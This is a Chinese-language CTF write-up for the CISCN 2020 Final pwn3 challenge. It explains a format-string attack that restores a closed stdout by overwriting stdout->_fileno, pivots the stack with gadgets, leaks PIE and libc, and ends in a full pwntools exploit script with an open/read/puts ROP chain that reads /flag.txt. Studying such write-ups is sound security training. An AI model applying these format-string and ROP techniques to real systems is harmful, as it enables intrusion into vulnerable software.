CISCN 2020 Final Day2 pwn3思路分享

 

前言

亲眼见证隔壁队伍一个pwn3一血直通第二,我酸了。看起来大多数师傅的方法都是爆破1/4096,我的路子开始就有点偏,赛后花了4个小时还是写了一遍,分享一下我的思路。

 

总体思路

  1. 由于close(1)将标准输出流关闭,使得fsb不能够再leak出任何地址;因此需要想办法将stdout->_fileno = 2,从而使得输出恢复正常;而由于整个binary的调用栈十分简单,使得fsb可利用的栈下方存在极少可利用的libc地址,而栈的上方则残留了stdout的地址,且经调试发现,这部分残留的内容不会被后续的函数调用所影响。
  2. 同时关注到binary中存在一条这样的gadget:
    .text:0000000000000CDF                 mov     rax, [rbp+buf]
    .text:0000000000000CE3                 mov     edx, 1          ; nbytes
    .text:0000000000000CE8                 mov     rsi, rax        ; buf
    .text:0000000000000CEB                 mov     edi, 0          ; fd
    .text:0000000000000CF0                 call    read
    

    也就是说,只要结合栈上残留的stdout地址,将其低位改写从而创造出一个指向stdout->_fileno的指针,再将[rbp+buf](也就是[rbp-0x18])指向这个地址,r然后劫持控制流到这个地方,那么就能向stdout->_fileno写入数据了。

  3. 但是改写成功之后,仍然需要保持程序的正常执行,所以后续涉及到一系列的控栈,调栈内存的操作,直到恢复正常。
  4. 此后当作普通的fsb写即可,这里通过gadget控制rdi然后跳到read_str处执行:
    .text:0000000000000F21                 call    sub_CCD
    

    这里rdi就是写入的buffer的地址,rsi就是长度,那么这个时候写入orw的gadgets即可。

 

利用过程

  1. 首先利用这条关键的rbp链实现栈上任意写,但是注意到close(1)之后,通过类似%1000c这样的payload来控制%n写入的值是不可行的,而读入的字符长度限制在288以内,所以一次只写1 byte,实际上也足够了,只是显得稍微繁琐:image-20200930105006732
  2. 可以观察到根据给出的gift也即栈地址,上图中是0x7ffdd5c43fa8,其-0x70偏移处存在一个stdout地址:image-20200930105052603利用栈地址任意写把其低位改成0x90,就正好指向stdout->_fileno

    image-20200930105229429

  3. 同时考虑到之后要将rbp改到这个stdout->fileno地址存放的栈地址+0x18的位置,使得[rbp-0x18] = &stdout->_fileno,而当read完成之后需要返回时,会执行如下指令:
    .text:0000000000000D51                 leave
    .text:0000000000000D52                 retn
    

    此时rbp = 0x7ffdd5c43f50,意味着会返回到*0x0x7ffdd5c43f58 = 0x562e4bc84cf5的位置,而实际上返回到这个地址正是read的返回地址,也就是说不会破坏程序的正常执行,只是需要多读入一个字节然后再次执行leave; ret的指令,只是此时rbp已经由于上一次的leave发生了变化;若要继续保持程序正常执行,那么就需要控制这个rbp为一个合理的值。

  4. 而注意到上图中,0x7ffdd5c43f48出存放了一个data段的地址,因此可以通过爆破4 bits,将其写如一个gadget,控制rsp + 0x38
    .text:0000000000001046                 add     rsp, 8
    .text:000000000000104A                 pop     rbx
    .text:000000000000104B                 pop     rbp
    .text:000000000000104C                 pop     r12
    .text:000000000000104E                 pop     r13
    .text:0000000000001050                 pop     r14
    .text:0000000000001052                 pop     r15
    .text:0000000000001054                 retn
    

    rsp + 0x38处正好是:

    image-20200930110929111

    .text:0000000000000F3A                 nop
    .text:0000000000000F3B                 pop     rbp
    .text:0000000000000F3C                 retn
    

    但是此时若返回至*0x7ffdd5c43f98 = 0x562e4bc84f3a,依然会crash,而且目标地址和其相差2 bytes,无法通过一次fsb修改成功,因此这里通过写其低地址为改成ret 的gadget,转而通过控制*0x7ffdd5c43fa0来劫持控制流:

    image-20200930112124918

  5. 布置好之后,就可以跳到布置好的位置上,改写stdout->_fileno = 2了:image-20200930112338451同时保证程序的正常执行:

    image-20200930112509720

    就算再次执行close(1)也不会有影响。

  6. 恢复完标准输出之后,就是普通的fsb做法,这里采用改写printf的返回地址为pop rdi的gadget,通过控制rdi指向返回地址处,然后控制执行流到:
    .text:0000000000000F21                 call    sub_CCD
    

    image-20200930113016680

    image-20200930113105156

    两个参数rdi为buffer地址,rsi为长度。

  7. 之后就是写入orw的rop,劫持返回地址即可:image-20200930113330765image-20200930113408731

 

exp

整体来说,由于存在爆破4 bit,同时要求给的stack地址低字节要大于0x70,所以理论上爆破的概率为1/32,但是exp很难写,相比于直接改__libc_start_main爆破到stdout->_fileno概率1/4096,这么写显得很不划算(但是对于我这种非酋来说,66.7%的中奖率我都能完美避过,那1/4096基本上在我这就是0了)

from pwn import *
import sys, os, re

context(arch='amd64', os='linux', log_level='info')
context(terminal=['gnome-terminal', '--', 'zsh', '-c'])

_proc = os.path.abspath('./anti')
_libc = os.path.abspath('./libc.so.6')

libc = ELF(_libc)
elf = ELF(_proc)

p = process(argv=[_proc])

while True:
    try:
        p.settimeout(0.5)

        # get stack address
        prefix = "Ciscn20"
        p.recvuntil("Gift: 0x")
        stack_addr = int(p.recvline()[:-1], 16)

        # set stdout address low byte
        payload = "A" * ((stack_addr - 0x70) & 0xFF) + "%6$hhn"
        p.sendlineafter("Come in quickly, I will close the door.", payload)
        payload = "A" * 0x90 + "%10$hhn"
        p.sendline(payload)

        # set gadget (add rsp, 0x38)
        payload = "A" * ((stack_addr - 0x60) & 0xFF) + "%6$hhn"
        p.sendline(payload)
        # payload = "A" * (((_base(_proc) + 0x1046) & 0xFF00) >> 8) + "%10$hhn" # bruteforce 4 bits
        payload = "A" * (((0x5000 + 0x1046) & 0xFF00) >> 8) + "%10$hhn" # bruteforce 4 bits
        p.sendline(payload)

        # set stack address at stack (point to return address))
        payload = "A" * ((stack_addr + 0x28) & 0xFF) + "%6$hhn"
        p.sendline(payload)
        payload = "A" * ((stack_addr - 0x10) & 0xFF) + "%10$hhn"
        p.sendline(payload)
        payload = "A" * ((stack_addr + 0x29) & 0xFF) + "%6$hhn"
        p.sendline(payload)
        payload = "A" * (((stack_addr - 0x10) & 0xFF00) >> 8) + "%10$hhn"
        p.sendline(payload)

        # set fake old old rbp (for following stack pivot)
        payload = "A" * ((stack_addr - 0x58) & 0xFF) + "%6$hhn"
        p.sendline(payload)
        payload = "A" * ((stack_addr + 0x8) & 0xFF) + "%10$hhn"
        p.sendline(payload)
        payload = "A" * ((stack_addr - 0x57) & 0xFF) + "%6$hhn"
        p.sendline(payload)
        payload = "A" * (((stack_addr + 0x8) & 0xFF00) >> 8) + "%10$hhn"
        p.sendline(payload)

        # set return address to 
        '''
        .text:0000000000000CDF                 mov     rax, [rbp+buf]
        .text:0000000000000CE3                 mov     edx, 1          ; nbytes
        .text:0000000000000CE8                 mov     rsi, rax        ; buf
        .text:0000000000000CEB                 mov     edi, 0          ; fd
        .text:0000000000000CF0                 call    read
        '''
        payload = "A" * ((stack_addr - 0x8) & 0xFF) + "%6$hhn"
        p.sendline(payload)
        # payload = "A" * ((('''_base(_proc)'''0x5000 + 0xCDF) & 0xFF00) >> 8) + "%10$hhn"
        payload = "A" * ((0x5000 + 0xCDF) & 0xFF) + "%10$hhn" # bruteforce 4 bits
        p.sendline(payload)
        payload = "A" * ((stack_addr - 0x7) & 0xFF) + "%6$hhn"
        p.sendline(payload)
        # payload = "A" * (((_base(_proc) + 0xCDF) & 0xFF00) >> 8) + "%10$hhn"
        payload = "A" * (((0x5000 + 0xCDF) & 0xFF00) >> 8) + "%10$hhn"
        p.sendline(payload)

        # set return address (PIE + 0xF3D)
        payload = "A" * ((stack_addr + 0x10) & 0xFF) + "%6$hhn" 
        p.sendline(payload)
        payload = "A" * 0x3D + "%10$hhn"
        p.sendline(payload)

        # set old rbp
        payload = "A" * ((stack_addr - 0x18) & 0xFF) + "%6$hhn"
        p.sendline(payload)
        payload = "A" * ((stack_addr - 0x58) & 0xFF) + "%10$hhn"
        p.sendline(payload)

        # set gadget ret
        # pause()
        payload = "A" * 0x3C + "%14$hhn"
        p.sendline(payload)

        # set stdout->_fileno = 2
        p.sendline("\x02")
        p.sendline("")
        p.recvuntil("Come in quickly, I will close the door.\n")

        # now the output has been recovered
        # leak PIE and libc
        p.sendline("%7$p%12$p")
        p.recvuntil("0x")
        PIE_base = int(p.recv(12), 16) - 0xf96
        p.recvuntil("0x")
        libc_base = int(p.recv(12), 16) - libc.sym['__libc_start_main'] - 240

        # leave a specific stack address at stack (for follwing fsb exploit)
        payload = "%" + str((stack_addr - 0x8) & 0xFFFF) + "c%14$hn"
        p.sendline(payload)

        # set rop to control rdi and jump to:
        '''
        .text:0000000000000F21                 call    sub_CCD
        '''
        # this will help to read orw gadgets to stack 
        payload = "%" + str((PIE_base + 0x1053) & 0xFFFF) + "c%10$hn"
        payload += "%" + str((stack_addr - 0x8 + (0x100 - ((PIE_base + 0x1053) & 0xFF))) & 0xFF) + "c%13$hhn"
        payload += "%" + str((0x21 + (0x100 - ((stack_addr - 0x8) & 0xFF))) & 0xFF) + "c%40$hhn"
        # pause()
        p.sendline(payload)

        pop_rdi = libc_base + 0x0000000000021112 # pop rdi ; ret
        pop_rsi = libc_base + 0x00000000000202f8 # pop rsi ; ret
        pop_rdx = libc_base + 0x0000000000001b92 # pop rdx ; ret

        # send orw gadgets 
        payload = flat([pop_rdi, stack_addr + 0x70, pop_rsi, 0, libc_base + libc.sym['open']])
        payload += flat([pop_rdi, 1, pop_rsi, stack_addr - 0x100, pop_rdx, 0x40, libc_base + libc.sym['read']])
        payload += flat([pop_rdi, stack_addr - 0x100, libc_base + libc.sym['puts']])
        payload += "/flag.txt"
        p.sendline(payload)

        break

    except:
        p.close()
        p = process(argv=[_proc])

success("libc_base: " + hex(libc_base))
success("stack_addr: " + hex(stack_addr))
success("PIE_base: " + hex(PIE_base))

p.interactive()
(完)